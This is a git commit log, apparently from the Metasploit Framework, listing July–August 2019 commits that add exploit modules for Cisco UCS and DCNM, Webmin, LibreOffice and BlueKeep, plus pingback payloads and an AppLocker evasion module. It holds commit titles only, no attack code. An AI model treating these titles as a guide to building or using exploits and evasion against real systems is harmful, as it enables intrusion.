Compare commits

...

2213 Commits

Author SHA1 Message Date
William Vu 6f58981396 Land #12244, cisco_ucs_scpuser exploit 2019-08-30 13:35:50 -05:00
William Vu 83de041894 Land #12243, cisco_ucs_rce exploit 2019-08-30 13:35:29 -05:00
William Vu 789c017135 Land #12059, cisco_dcnm_download aux module 2019-08-30 13:35:00 -05:00
William Vu 042c181f67 Land #12058, cisco_dcnm_upload_2019 exploit 2019-08-30 13:33:19 -05:00
Metasploit 89317ec87c automatic module_metadata_base.json update 2019-08-30 13:32:25 -05:00
William Vu a66fa7d79d Land #12133, CVE-2019-1663 RV{110,215}W targets 2019-08-30 13:23:00 -05:00
Pedro Ribeiro e36308e5bb Add FD ref 2019-08-31 00:18:46 +07:00
Pedro Ribeiro d422a2e4b1 add fd link 2019-08-31 00:18:20 +07:00
William Vu b0b72892be Deprecate/delete cisco_rv130_rmi_rce by alias 2019-08-30 12:03:43 -05:00
Metasploit 23e6c46ea9 automatic module_metadata_base.json update 2019-08-30 12:03:25 -05:00
William Vu 49b3af3870 Merge remote-tracking branch 'upstream/master' into pr/12133 2019-08-30 12:01:48 -05:00
Brent Cook c1be4a7ad3 Land #12252, update .mailmap 2019-08-30 11:52:22 -05:00
Brent Cook cc9a2a1668 update current employees 2019-08-30 11:50:56 -05:00
William Vu 2ea5e90764 Land #12223, module deprecation by alias 2019-08-30 11:36:50 -05:00
Metasploit c00ef799b4 Bump version of framework to 5.0.44 2019-08-29 12:11:39 -05:00
Pedro Ribeiro 139a4a490f Create cisco_ucs_scpuser.md 2019-08-29 22:58:24 +07:00
Pedro Ribeiro 1ae21a411f Create cisco_ucs_rce.md 2019-08-29 22:52:30 +07:00
Pedro Ribeiro 542c75d59e Create cisco_dcnm_download.md 2019-08-29 22:49:11 +07:00
Pedro Ribeiro 23d7a0ed2b Create cisco_dcnm_upload_2019.md 2019-08-29 22:45:03 +07:00
dwelch-r7 6afe0fc43b Add dwelch to mailmap 2019-08-29 16:43:10 +01:00
Pedro Ribeiro 0c1f3f2d03 make some adjustments 2019-08-29 19:50:01 +07:00
Pedro Ribeiro 40b0d02f39 make some adjustments 2019-08-29 19:49:37 +07:00
Pedro Ribeiro 3dd9c38fd1 Update cisco_dcnm_upload_2019.rb 2019-08-29 12:42:01 +07:00
Pedro Ribeiro bbbf426ec7 make requested changes 2019-08-29 12:16:58 +07:00
Pedro Ribeiro f9ddc1d18f Make more changes 2019-08-29 12:15:20 +07:00
Pedro Ribeiro bda1120cac make requested changes 2019-08-29 11:14:40 +07:00
Pedro Ribeiro b96d9c75ac make requested changes 2019-08-29 11:05:57 +07:00
Pedro Ribeiro c88ce55013 Add github link 2019-08-28 11:08:35 +07:00
Pedro Ribeiro 98efac5bfb Add github link 2019-08-28 11:08:01 +07:00
Pedro Ribeiro 7fd56f5fb3 Add Cisco UCS scpuser exploit 2019-08-28 11:00:08 +07:00
Pedro Ribeiro d6f47fd03a s/Directory/Director 2019-08-28 10:58:41 +07:00
Pedro Ribeiro 1aad95f7c4 Add exploit for Cisco UCS RCE 2019-08-28 10:55:49 +07:00
Pedro Ribeiro 804412f9d6 Merge pull request #10 from rapid7/master
AAAA
2019-08-28 10:54:05 +07:00
Adam Cammack bcccfd86b8 Teach module cache about realname
Also uses the class refname where appropriate since an instances refname
reflects the alias currently in use and if a module is reloaded while
using an alias the old behavior would generate spurious cache entries
that would not be cleaned up or modified. Specifically, this could
register a self-referential alias that would cause a stack overflow when
trying to `use` such an alias.

Additionally, some other `fullname`s were changed to `realname`s for
clarity.
2019-08-26 13:26:48 -05:00
Metasploit 9ea327ecdd automatic module_metadata_base.json update 2019-08-23 10:32:40 -07:00
Shelby Pace 413cd7194d Land #12064, add Exim Local Privesc module 2019-08-23 12:23:53 -05:00
Metasploit d551b88600 automatic module_metadata_base.json update 2019-08-23 07:06:06 -07:00
Jacob Robles e628fb4afa Land #12219, Add Webmin password_change.cgi backdoor exploit 2019-08-23 08:46:24 -05:00
Adam Cammack 6a8f6d7a57 Unify spec and lib 2019-08-22 18:03:13 -05:00
Adam Cammack 8aa00d97aa Add new moved_from to moved module 2019-08-22 17:58:20 -05:00
William Vu 901943c90f Move Ubiquiti AirOS exploit from SSH to HTTP 2019-08-22 17:58:20 -05:00
William Vu 67b427f277 Remove expired deprecated modules 2019-08-22 17:58:20 -05:00
Adam Cammack 948918dacb Use alias when reloading aliased module
Also speeds up module reloads by avoiding module instance creating
without a type.

Fixes #12026
2019-08-22 17:58:20 -05:00
Adam Cammack d8e8a33b46 Rewrite Msf::Module::Deprecated w/ alerts, aliases
Less janky, and allows module moves without copying!
2019-08-22 17:58:20 -05:00
Adam Cammack 969ad7aa8a Add Msf::Module::Alert for alerting users 2019-08-22 17:58:20 -05:00
Metasploit 1c4d9cfff6 Bump version of framework to 5.0.43 2019-08-22 10:08:14 -07:00
Metasploit c000625815 automatic module_metadata_base.json update 2019-08-21 15:58:25 -07:00
William Vu dff2aed1ac Simplify request by combining POST parameters
There's no need to discriminate between versions. Send 'em all.
2019-08-21 17:50:48 -05:00
OJ 071626ed34 Land #12186 - Add RDP Fingerprinting 2019-08-22 08:44:08 +10:00
William Vu d56e7d47b5 Add "analysis" 2019-08-21 17:05:40 -05:00
William Vu 856bf22597 Add module doc 2019-08-21 16:56:23 -05:00
William Vu 6b8c0bc589 Simplify targets with automatic targeting 2019-08-21 16:41:41 -05:00
William Vu 3f4c0e972b Refactor check and support 1.900-1.920 targets 2019-08-21 16:16:56 -05:00
William Vu 227ea6de3a Fix typo 2019-08-21 15:41:45 -05:00
William Vu 55b5e6a616 Drop =~ habit 2019-08-21 11:55:03 -05:00
William Vu a6d7011efa Adjust check 2019-08-21 11:42:49 -05:00
William Vu 5de2b37110 Add diff3 output between 1.{890,930,920} 2019-08-21 11:17:12 -05:00
Brent Cook cb66828b78 Land #12221, Fix RPC console.create database active check 2019-08-21 09:02:51 -05:00
Matthew Kienow 776c7268f5 Fix database active check 2019-08-21 09:35:15 -04:00
William Vu c6f8dedf45 Add more words and an additional reference 2019-08-21 02:26:17 -05:00
William Vu 41d4dafdca Add Webmin password_change.cgi backdoor exploit 2019-08-21 02:02:26 -05:00
Brent Cook 931607826a Land #12218, explicitly require factory_bot in spec helper 2019-08-20 07:52:18 -05:00
Brent Cook 40d11b2fdd explicitly require factory_bot, see #12181 2019-08-20 06:54:34 -05:00
Brent Cook 262cd89859 Land #12168, fix HTTP client redirects with SSL enabled 2019-08-20 04:03:37 -05:00
Brent Cook bd90241192 set opts['SSL'] above for consistency 2019-08-20 04:03:10 -05:00
Brent Cook d1b482366b Land #12181, add Juniper config parser tests 2019-08-20 03:48:16 -05:00
Brent Cook 95e69930a1 Land #12214, enable TLS1.0 support for RDP lib 2019-08-20 03:36:19 -05:00
Metasploit d1b939990b automatic module_metadata_base.json update 2019-08-19 11:44:59 -07:00
Shelby Pace bc6cff3d4f Land #12207, add LibreOffice/Logo file fmt exploit 2019-08-19 13:14:23 -05:00
Shelby Pace 8fd5c1e0c1 remove PrependMigrate option 2019-08-19 13:12:54 -05:00
Clément Notin 40b74211c9 RDP lib: accept TLS 1.0 2019-08-19 19:48:25 +02:00
Load dc07b78dcd @LoadLow Marks the generated ODT file readonly 2019-08-18 18:36:31 +02:00
Load 9b1a3b4033 Marks the generated ODT file readonly
Prevents autosave and further modifications after opening the document on the target system.
2019-08-18 17:59:25 +02:00
Load e6b72b5b43 Cleanup odt metadata
Metadata part is not mandatory on ODT files
2019-08-18 17:51:36 +02:00
Load 6b4acbc3ac Updates scenarios 2019-08-18 15:14:37 +02:00
Load b0a531982e Adds default options
- Changes target to Automatic
- Set default options instead of default target for options
- Adds links for the two vulnerabilities exploited by this module
- Removes unnecessary double encoding+eval
2019-08-18 14:42:48 +02:00
Load 6483b97c13 Merge pull request #1 from space-r7/pr12207-changes
Use Python instead of platform-dependent code
2019-08-18 14:38:26 +02:00
Shelby Pace 409b3c9c4b using python payload for platform independence 2019-08-16 15:36:42 -05:00
Load 3838fc2164 Adds references to the next CVE
This new CVE explains this exploit (global events are used)
2019-08-16 12:59:23 +02:00
Load 7e44194251 References next CVE with global events 2019-08-16 12:54:01 +02:00
Metasploit 015651dd08 automatic module_metadata_base.json update 2019-08-15 17:08:06 -07:00
William Vu b8b4edc243 Land #12203, autofilter=false for a couple modules 2019-08-15 19:00:15 -05:00
Metasploit 8ad7fbf5f9 automatic module_metadata_base.json update 2019-08-15 16:54:23 -07:00
Brent Cook d5115295af Land #12205, prefer https always 2019-08-15 18:42:14 -05:00
William Vu fb6d5d603d Update generate splat from http:// to https:// 2019-08-15 18:11:39 -05:00
William Vu 32334c2386 Update all module splats from http:// to https:// 2019-08-15 18:10:44 -05:00
Brent Cook 4d48515ae2 Disable a couple of modules for autoexploitation that produce false positives on newer systems. 2019-08-15 16:33:40 -05:00
Metasploit adcc69a1ac Bump version of framework to 5.0.42 2019-08-15 10:08:04 -07:00
Metasploit fb4d2521ef automatic module_metadata_base.json update 2019-08-15 08:37:42 -07:00
William Vu 76f526df99 Land #12202, needs_cleanup for post modules 2019-08-15 10:29:31 -05:00
Brent Cook 3437ba758b Land #12199, fix invalid range backtrace when RHOSTS is invalid 2019-08-15 07:28:57 -05:00
bwatters-r7 1701dae701 Add needs_cleanup to the post module class so filedropper does not
crash everything trying to set that variable.
2019-08-15 07:27:28 -05:00
Brent Cook ceb09ddf44 Land #12198, fix training wheels for 'generate' command 2019-08-15 07:22:29 -05:00
William Vu 3aad5accac Fix nil RangeWalker length for invalid range
reset returns false and doesn't initialize length.
2019-08-14 21:40:58 -05:00
William Vu 141350dbc1 Update help 2019-08-14 21:28:13 -05:00
William Vu 25a66a245f Prefer import_options_from_s over manual parsing 2019-08-14 21:08:00 -05:00
William Vu e20d9e8c4f Fix another typo 2019-08-14 21:04:06 -05:00
William Vu f81a326ac1 Fix typo 2019-08-14 20:43:40 -05:00
William Vu a53fe44d8e Properly parse option string anyway with -o 2019-08-14 20:32:53 -05:00
William Vu 45747c45f7 Remove extraneous -s NOP sled option 2019-08-14 20:32:31 -05:00
William Vu e3463d0cd8 Prefer Rex::Text.dehex over Rex::Text.hex_to_raw 2019-08-14 20:32:30 -05:00
William Vu d676f98d56 Remove already included Msf::Exploit::Remote::Tcp 2019-08-13 10:56:03 -05:00
Adam Cammack dbe856297a Land #12188, fix module authors script's full_name 2019-08-13 10:19:03 -05:00
James Lee 760f4fc25d Fix typo, full_name -> fullname 2019-08-12 19:30:43 -05:00
Jacob Robles e1e1cd9020 Land #12161, Store opasswd password history 2019-08-12 09:22:50 -05:00
Spencer McIntyre 63dfa2a8bd Fix the RDP NLA protocol detection 2019-08-11 19:23:29 -07:00
Spencer McIntyre 84669f567b Add the RDP fingerprinting method to rdp_scanner 2019-08-11 16:20:14 -07:00
Spencer McIntyre e8057b0b55 Add an initial fingerprinting method for rdp 2019-08-11 01:24:55 -07:00
h00die a2160c84c6 juniper config parser tests 2019-08-10 09:39:26 -04:00
Metasploit 78e5536064 Bump version of framework to 5.0.41 2019-08-08 10:05:14 -07:00
Shelby Pace 9418f4bac2 Land #12032, add Xymon gather info module 2019-08-08 10:55:40 -05:00
William Vu f317987e02 Land #12175, hadoop_unauth_exec NoMethodError fix 2019-08-07 22:44:55 -05:00
William Vu b5fd9b4fed Fix whitespace 2019-08-07 22:44:38 -05:00
Green-m 6cf0ff0678 Fix #12156, NoMethodError in hadoop exploit. 2019-08-08 10:06:40 +08:00
Brent Cook 3ea79c4ccb Land #12170, add 'Crash' action to Bluekeep scanner to send DoS payload 2019-08-07 19:40:24 -05:00
Tom Sellers 46b6a5927e Comment update 2019-08-07 19:25:43 -05:00
Tom Sellers 4861a139ca Minor comments 2019-08-07 19:20:36 -05:00
Tom Sellers 9566334868 merge upstream/master 2019-08-07 19:11:58 -05:00
William Vu de68af975b Land #12171, Msf::Exploit::Remote::RDP mixin 2019-08-07 17:03:14 -05:00
Tom Sellers 93e6ff67b4 Addressing feedback 2019-08-07 16:37:59 -05:00
Tom Sellers 2d5e9cb241 RDP: address feedback from wvu 2019-08-07 14:47:33 -05:00
Brent Cook 18da91a348 Add 'Crash' action for enabling the DoS 2019-08-07 11:38:14 -05:00
Tom Sellers f78c6469b8 RDP: rubocop cleanup lib 2019-08-07 10:28:24 -05:00
Tom Sellers de8cd38eb2 RDP: rubocop cleanup packets 2019-08-07 10:00:18 -05:00
Tom Sellers 7d30c92375 RDP: rubocop cleanup 2019-08-07 09:12:53 -05:00
Tom Sellers b6956bd3be RDP: moar migration 2019-08-07 08:50:01 -05:00
Tom Sellers 0c1868b158 RDP: migrate security nego to lib 2019-08-07 08:27:15 -05:00
Tom Sellers 7dc87bf8bc RDP: Refactor protocol code 2019-08-07 07:25:42 -05:00
Tom Sellers a63e0ba106 BlueKeep: Add DoS exploit 2019-08-06 20:15:53 -05:00
James Lee 3b7abfcaf2 Use correct case for SSL option 2019-08-06 15:25:34 -05:00
Brendan Coles efd6bec827 Store opasswd password history 2019-08-04 01:12:06 +00:00
LoadLow 2432104a8d Update libreoffice_logo_exec.md 2019-08-03 06:24:04 +02:00
LoadLow 41822c0c1e Update libreoffice_logo_exec.md 2019-08-03 06:15:19 +02:00
LoadLow c3b6e33f2e Adds suggested modifications 2019-08-03 06:10:11 +02:00
Load ee6c4a906a Update libreoffice_logo_exec documentation
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-03 05:53:40 +02:00
Load dbced012ef Update libreoffice_logo_exec documentation
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-03 05:53:29 +02:00
Load ce552ab88b Removes double quotes in libreoffice_logo_exec
Co-Authored-By: Carter Brainerd <0xCB@protonmail.com>
2019-08-03 05:52:12 +02:00
Load 5e2463c5d4 Update libreoffice_logo_exec documentation
Co-Authored-By: Carter Brainerd <0xCB@protonmail.com>
2019-08-03 05:51:50 +02:00
Load 009e2afcfa Update libreoffice_logo_exec documentation
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-03 05:51:30 +02:00
Pedro Ribeiro eab38b8b21 make requested changes 2019-08-02 22:49:43 +01:00
Pedro Ribeiro 817726699c make requested changes 2019-08-02 22:48:54 +01:00
William Vu cbe4771d29 Land #12159, EXITFUNC for pingback 2019-08-02 16:07:02 -05:00
bwatters-r7 c9d2013ddb Change generate method to match single payloads. 2019-08-02 15:47:36 -05:00
William Vu 6572fa93c4 Land #12158, needs_cleanup for on_new_session 2019-08-02 14:56:47 -05:00
William Vu d9d48ffa91 Land #12152, EOFError fix for BlueKeep scanner 2019-08-02 11:23:22 -05:00
Adam Cammack e11de696d4 Make msftidy happy 2019-08-02 11:17:41 -05:00
bwatters-r7 20438614bb Stupid extra line.... 2019-08-02 11:11:19 -05:00
bwatters-r7 c6defb0264 Rubocop complaints and require_size additions 2019-08-02 11:09:14 -05:00
bwatters-r7 14ee5c4a4f Update Windows payloads to support exitfunk 2019-08-02 10:28:57 -05:00
Adam Cammack cf9b94a964 Set needs_cleanup flag for exploits that need it
The `needs_cleanup` flag needs to be set per-module when an exploit
needs an interactive session to clean up. Some `FileDropper` exploits
need additional cleanup to what the mixin provides, but since all
`FileDropper`s already mark themselves as needing cleanup those are not
covered here. A few of these could potentially be refactored to use the
original exploitation method to clean up or to compile the list of
files/commands to clean up ahead of time, but that is out of the scope
of this fix.
2019-08-02 10:23:53 -05:00
Adam Cammack 5e64f8560a Fix whitespace 2019-08-02 10:23:41 -05:00
Quentin Kaiser 8085ad3046 Set default payload based on chosen target. 2019-08-02 10:47:28 +02:00
Quentin Kaiser 610bed8fd9 && is preferred over and. 2019-08-02 10:41:14 +02:00
Jacob Robles c4c0ed9187 Land #12155, Fix printed CVE number 2019-08-01 18:01:53 -05:00
Jacob Robles bbf0cb4d9d Land #11653, Apache Tika CVE-2018-1335 RCE 2019-08-01 17:43:57 -05:00
Metasploit 0e5a1278d4 Bump version of framework to 5.0.40 2019-08-01 14:56:07 -07:00
William Vu 178339db70 Rescue EOFError in quick check for patch
Thank you to @cnotin for noticing this case.
2019-08-01 15:03:36 -05:00
Jacob Robles ed0c064a24 Fix printed CVE number 2019-08-01 09:57:48 -05:00
William Vu 8d2b29024a Fix typo 2019-07-31 17:44:10 -05:00
Wei Chen abc85e4266 Land #12130, Add evasion module applocker_evasion_msbuild 2019-07-31 16:32:29 -05:00
Wei Chen 3a4ec6fe82 Cosmetic changes 2019-07-31 16:31:44 -05:00
William Vu ae13736d50 Rescue EOFError in cve_2019_0708_bluekeep get_once 2019-07-31 16:01:20 -05:00
Jeffrey Martin 2e06b4e93f Land #12126, Implement "set PAYLOAD" by index 2019-07-31 14:50:20 -05:00
Jeffrey Martin a3245f5ac9 Land #12150, Accidentally removed include that is sort of imperative.... 2019-07-31 09:09:53 -05:00
bwatters-r7 36ae16df74 Accidentally removed include that is sort of imperative.... 2019-07-31 08:46:01 -05:00
LoadLow 8e8e6a2cf7 Fixes indent 2019-07-31 00:14:08 +02:00
Brent Cook 6bd7f6cb4a Land #12148, lock bcrypt to arm compatibe version 2019-07-30 17:07:34 -05:00
LoadLow 88f3ff9d59 Updates references 2019-07-31 00:00:30 +02:00
Jeffrey Martin e6c025811b Lock bcrypt gem until armhf support is restored.
Updates in 3.1.13 can cause native gem compile to fail due to
https://github.com/codahale/bcrypt-ruby/issues/201.
2019-07-30 16:47:26 -05:00
LoadLow 97589e534e Updates documentation for libreoffice_logo_exec 2019-07-30 23:37:06 +02:00
LoadLow b2dcaf6c4a Adds documentation for libreoffice_logo_exec 2019-07-30 23:34:54 +02:00
LoadLow 5f478b7fd6 Adds exploit module for CVE-2019-9848
uses on dom-loaded event (triggered just after opening the document) and still working on 6.2.5
2019-07-30 23:07:20 +02:00
h00die 060183c034 tika 1.15-1.17 2019-07-30 16:55:06 -04:00
bwatters-r7 fb7f30e60d Land #12129, Add Pingback Payloads
Merge branch 'land-12129' into upstream-master
2019-07-30 12:06:57 -05:00
Adam Cammack 517d32b082 Update payload cache sizes 2019-07-30 10:34:47 -05:00
Adam Cammack 23ea772076 Golf Ruby pingback payload syntax 2019-07-30 10:32:31 -05:00
Adam Cammack e6ea0c9fd7 Use binascii for Python pingback UUID encoding
This gives us compatibility for Python 3.x and 1.x
2019-07-30 10:18:24 -05:00
Adam Cammack 3cb1b4588b Golf Python payload variable names 2019-07-30 10:14:41 -05:00
h00die f053768801 restrict tika versions 2019-07-30 07:32:30 -04:00
bwatters-r7 79e17d0dda Remove unsupported options 2019-07-29 21:38:20 -05:00
bwatters-r7 05ffa6e4a0 More updates, optimizations, and style fixes 2019-07-29 16:29:32 -05:00
NickTyrer 4f7e9bd47c update file creation 2019-07-29 20:29:11 +01:00
bwatters-r7 d6dc397b21 Fix bugs introduced by syntax changes. 2019-07-29 14:00:09 -05:00
bwatters-r7 6bf10e1f91 Fixups for syntax 2019-07-29 11:55:51 -05:00
h00die 8f95ccc83d Land #12135 move docs to right locations 2019-07-29 12:15:31 -04:00
h00die 4ad1eaebd9 docs touchup 2019-07-29 12:09:47 -04:00
Metasploit bd2a1812a6 automatic module_metadata_base.json update 2019-07-28 21:21:14 -07:00
Brent Cook 5b8a75f544 Land #12119, Add OS X post module to manage Sonic Pi 2019-07-28 23:12:26 -05:00
Metasploit d08a1d1ac0 automatic module_metadata_base.json update 2019-07-28 20:09:16 -07:00
sinn3r fe664da890 Land #12131, Cast to_s in command_shell.rb
Cast to_s - Fix #11725
2019-07-28 21:56:25 -05:00
Wei Chen 2f4da50912 Land #12132, Catch EOFError in alphastor_devicemanager_exec.rb
Fix #12061
2019-07-28 21:54:38 -05:00
Wei Chen 537e12a5ac Land #12134, Fix typo in payload_inject 2019-07-28 21:52:09 -05:00
Wei Chen 2f720a1f26 Land #12137, Update setting new .exe of Sophos AV 2019-07-28 21:49:31 -05:00
Wei Chen 86b0b7b0e9 Land #12140, correct output printing bug from smb_enumshares 2019-07-28 21:46:58 -05:00
Wei Chen c47caec03f Land #12107, Add module Redis Unauthenticated Code Execution 2019-07-28 21:40:03 -05:00
Wei Chen 63de0051f4 Cosmetic changes 2019-07-28 21:38:54 -05:00
ines 4856e0f87d remove call for to_ascii on share_type 2019-07-28 10:19:58 +02:00
GabrielMioranza 4d6f16eac1 Update setting new .exe of Sophos AV
Add .exe used by Sophos AV Endpoint
2019-07-27 16:47:05 -03:00
PingouinRF 5b78788fff Moved documentation files mssql_sql.md and mssql_idf.md from documentation/modules/auxiliary/scanner/mssql/ to /documentation/modules/auxiliary/admin/mssql/ to match which the module's directory 2019-07-27 19:05:17 +02:00
PingouinRF 1d67217b3d renamed auxiliary/scanner/misc/java_jmx_scanner.md to java_jmx_server.md to match with the module's name 2019-07-27 19:03:32 +02:00
Francesco Soncina b6b3a54b79 fix typo in payload_inject
:)
2019-07-27 19:02:33 +02:00
Quentin Kaiser 2e79314d7b Updated documentation. 2019-07-27 11:09:34 +02:00
Quentin Kaiser 34c5277e4e Deprecate module. 2019-07-27 10:49:59 +02:00
Quentin Kaiser 413da527ab Module renaming. 2019-07-27 10:47:58 +02:00
Quentin Kaiser 18f7ae379b Add support for RV110W and RV215W + check method to fingerprint devices. 2019-07-27 10:45:31 +02:00
NickTyrer 9279b5a40a add documentation 2019-07-27 07:36:38 +01:00
Brendan Coles d2bcab4346 Catch EOFError - Fix #12061 2019-07-26 23:53:46 +00:00
Brendan Coles c3b7d0155a Cast to_s - Fix #11725 2019-07-26 23:48:37 +00:00
Adam Cammack bd6a0c872f Remove workspace reqs from remote db payloads
The requirements had already been removed from local payloads in
865f214a85
2019-07-26 17:55:57 -05:00
William Vu e6e3ec493b Rename play_pattern_timed durations to beats
This is so I don't forget they're beats, not seconds. Also, "times"
already has special meaning in Ruby, so let's not confuse ourselves
further.
2019-07-26 17:41:24 -05:00
William Vu 42c2d78731 Remove fluff for better effect 2019-07-26 17:18:39 -05:00
bwatters-r7 cec29c6473 More fixes for syntax 2019-07-26 14:51:44 -05:00
NickTyrer 29627495e1 update format 2019-07-26 20:45:08 +01:00
NickTyrer a329e36918 add evasion module applocker_evasion_msbuild 2019-07-26 20:16:29 +01:00
William Vu 61e9f2b5bf Fix rhythm of melody section
Thanks for your ears, @busterb!
2019-07-26 14:09:57 -05:00
bwatters-r7 79b7bbd2cf Update payload cache size and fix import bug 2019-07-26 13:52:36 -05:00
bwatters-r7 2f804faed9 Rubocop and @acammack cleanup suggestions 2019-07-26 12:36:59 -05:00
asoto-r7 99d6842915 Land #12124, Add HttpRawHeaders (file) advanced option to HttpClient 2019-07-26 11:37:10 -05:00
Brent Cook 463c147977 fix method check in metadata updates 2019-07-25 23:23:20 -05:00
bwatters-r7 93f8d94154 Changes to venom to handle pingbacks and really delete extra files, this time. 2019-07-25 19:45:10 -05:00
bwatters-r7 e710c93363 Remove async callback stuff for later work and change db checks 2019-07-25 19:45:10 -05:00
bwatters-r7 4a59c1be26 Other pry... 2019-07-25 19:45:10 -05:00
bwatters-r7 cd4ba1318a Unpry 2019-07-25 19:45:10 -05:00
bwatters-r7 8af6cad862 fix copy/pasta error on payload data read 2019-07-25 19:45:10 -05:00
bwatters-r7 9ed8aa9411 update the read/write for pingback data 2019-07-25 19:45:10 -05:00
bwatters-r7 7a8090c3e7 Fix variable name 2019-07-25 19:45:10 -05:00
bwatters-r7 3536e8a0a9 Remove extra assignments elsewhere 2019-07-25 19:45:10 -05:00
bwatters-r7 68f7ece9a1 Removed superfluous assignment and populated datastore with pingback_uuid
for payloads that require the pingbackvalue to be in the datastore.
2019-07-25 19:45:10 -05:00
asoto-r7 af285340ea Copy-pasta badness 2019-07-25 19:45:10 -05:00
asoto-r7 b0d602e0df Added autoload entries for AsyncCallback 2019-07-25 19:45:10 -05:00
bwatters-r7 2aadd6317b Fix printing in session handler while I'm at it... 2019-07-25 19:45:10 -05:00
bwatters-r7 e1ba4bd7ed delete extra file 2019-07-25 19:45:10 -05:00
bwatters-r7 7c2d214af2 Clean up debugging, move options to one place and delete superflous file
change the uuid handing to prevent changes to it when it gets put in payloads
2019-07-25 19:45:05 -05:00
bwatters-r7 6ae3f97c4a Maybe include the super pingback type in the payloads? 2019-07-25 19:44:11 -05:00
bwatters-r7 310533f96c First stab at filtering payloads that require cleanup 2019-07-25 19:44:09 -05:00
bwatters-r7 80dbef20f2 Follow acammack's guidance for excluding filedropped exploits
usage of pingback payloads
2019-07-25 19:43:14 -05:00
asoto-r7 14039b18b1 Correctly fixed json_to_mdm_object (thanks @mkienow-r7 for the catch)! 2019-07-25 19:43:14 -05:00
asoto-r7 26257fabef Updated json_to_mdm_object() calls, removing third parameter 2019-07-25 19:43:14 -05:00
asoto-r7 72977e6ff9 pingback: Removing seemingly unnecessary 'generate_raw' method 2019-07-25 19:43:14 -05:00
asoto-r7 9b6d4587a4 cmd/unix/pingback_bind: Add resiliency to netcat, per wvu's suggestion 2019-07-25 19:43:14 -05:00
asoto-r7 88213f1e6f Pingback: Addressed some comments and suggestions 2019-07-25 19:43:14 -05:00
bwatters-r7 f098a836e9 Stupid pry... 2019-07-25 19:43:14 -05:00
bwatters-r7 949b356f09 Update the session to die after callback
Remove stale old file
2019-07-25 19:43:14 -05:00
asoto-r7 a12f9a5e4c Revert f162822 2019-07-25 19:43:14 -05:00
bwatters-r7 398a5dcce1 Reset send_uuid because it should not have been changed
remove debug print from options
change puts on pingback
2019-07-25 19:43:14 -05:00
asoto-r7 53447462bd Remove a left-over 'pry' debugger invocation 2019-07-25 19:43:14 -05:00
bwatters-r7 374b56de89 Should not have changed reverse_tcp.rb 2019-07-25 19:43:14 -05:00
asoto-r7 8f0aaa70a6 cmd/unix/pingback_* payloads now use 'printf' in place of 'echo' 2019-07-25 19:43:13 -05:00
asoto-r7 7778ada271 Remove workspace reference in async_callback database table 2019-07-25 19:43:13 -05:00
bwatters-r7 33513bd947 Undo changes to windows/bind_tcp 2019-07-25 19:43:13 -05:00
bwatters-r7 39f193e649 Stupid last trailing space 2019-07-25 19:43:13 -05:00
bwatters-r7 3e765090e2 Fix some spacing 2019-07-25 19:43:13 -05:00
bwatters-r7 08a765df81 Shut up, nmsftidy.... I hope 2019-07-25 19:42:51 -05:00
bwatters-r7 f7f7e969ee Hold off on venom changes for a new PR 2019-07-25 19:42:51 -05:00
bwatters-r7 2a242d9b19 Add the new file 2019-07-25 19:42:51 -05:00
bwatters-r7 e1e75d87e9 Code deduplication 2019-07-25 19:42:51 -05:00
asoto-r7 cb270cd57a WIP: Adding default pingback payload to parent check method 2019-07-25 19:42:50 -05:00
asoto-r7 92fa8f4377 Clean up requires and includes 2019-07-25 19:42:50 -05:00
asoto-r7 79c45a6c52 Clean up require's and calculate CachedSize 2019-07-25 19:42:50 -05:00
asoto-r7 58f3a067ab cmd/unix/pingback_reverse and cmd/unix/pingback_bind 2019-07-25 19:42:50 -05:00
bwatters-r7 9989c731d0 That's better..... 2019-07-25 19:42:50 -05:00
bwatters-r7 c866e0aff6 First swing at x86 windows reverse_tcp pingback
Still issues with the looping and counters.
2019-07-25 19:42:50 -05:00
bwatters-r7 e51e271c92 Remove extra stuff that was part of the staged attempt at pingback.
It is no longer required because pingback is now a single.
2019-07-25 19:42:50 -05:00
asoto-r7 be011da9f9 Ruby pingback payload (bind and reverse) 2019-07-25 19:42:50 -05:00
asoto-r7 4241d3384c Python pingback payload (reverse only) 2019-07-25 19:42:50 -05:00
asoto-r7 1d45c3a176 python pingback_bind_tcp: send UUID as raw bytes instead of ASCII 2019-07-25 19:42:50 -05:00
asoto-r7 89913924f6 Remove 'workspace' option from Mdm::Payload.create 2019-07-25 19:42:50 -05:00
asoto-r7 94c6ee3f7b Python pingback payload (bind only) 2019-07-25 19:42:26 -05:00
asoto-r7 247f246475 Linux pingback payloads 2019-07-25 19:42:26 -05:00
Aaron Soto f4fa70da0a Add error handling for users without a database configured 2019-07-25 19:42:26 -05:00
Aaron Soto 8c6f2d974b Enable database support in msfvenom to allow for saving UUIDs 2019-07-25 19:42:26 -05:00
Aaron Soto 6d6b33968f Record UUID upon pingback_reverse_tcp generation and callback 2019-07-25 19:42:26 -05:00
Aaron Soto 3b54fb30dd Record UUID upon reverse_tcp_pingback generation and callback 2019-07-25 19:42:26 -05:00
bwatters-r7 1b64b9f984 Fix odd edge case converting binary to hex string 2019-07-25 19:42:26 -05:00
bwatters-r7 5202a85cd8 Use nonvolitile register for the counter
Change option name to match convention
2019-07-25 19:42:26 -05:00
bwatters-r7 d626e5641d Updated to have a handler 2019-07-25 19:42:26 -05:00
bwatters-r7 9805a14875 Add support for pingback as a single and session... 2019-07-25 19:42:26 -05:00
bwatters-r7 cc69fa286f Let's try it as a single this time.... 2019-07-25 19:42:26 -05:00
bwatters-r7 4ca6c35053 Add new files 2019-07-25 19:42:26 -05:00
bwatters-r7 e798a0dcf0 Add pingback changes 2019-07-25 19:42:25 -05:00
bwatters-r7 f0f45d9882 Maybe stage the new files, too 2019-07-25 19:42:25 -05:00
Aaron Soto 542bf00771 REST API for async-callbacks, removed array datatypes, cleaned up Swagger 2019-07-25 19:42:25 -05:00
Aaron Soto 67d3bf5e01 WIP: REST API for async-callbacks, added UUID search 2019-07-25 19:42:25 -05:00
Aaron Soto 353e8e6be9 WIP: Remove PUT and DELETE endpoints 2019-07-25 19:42:25 -05:00
Aaron Soto a1b51361b0 Bring pingback-payload changes into public framework 2019-07-25 19:42:25 -05:00
Aaron Soto 47ee86ac11 WIP: REST API for async-callbacks 2019-07-25 19:42:25 -05:00
Jeffrey Martin 5134dbd94e Land #12127, Revert pingback 2019-07-25 17:14:21 -05:00
Brent Cook 109c0d0a9b Revert "automatic module_metadata_base.json update"
This reverts commit 5a5f3a88b7.

undelete module metadata as well
2019-07-25 16:54:41 -05:00
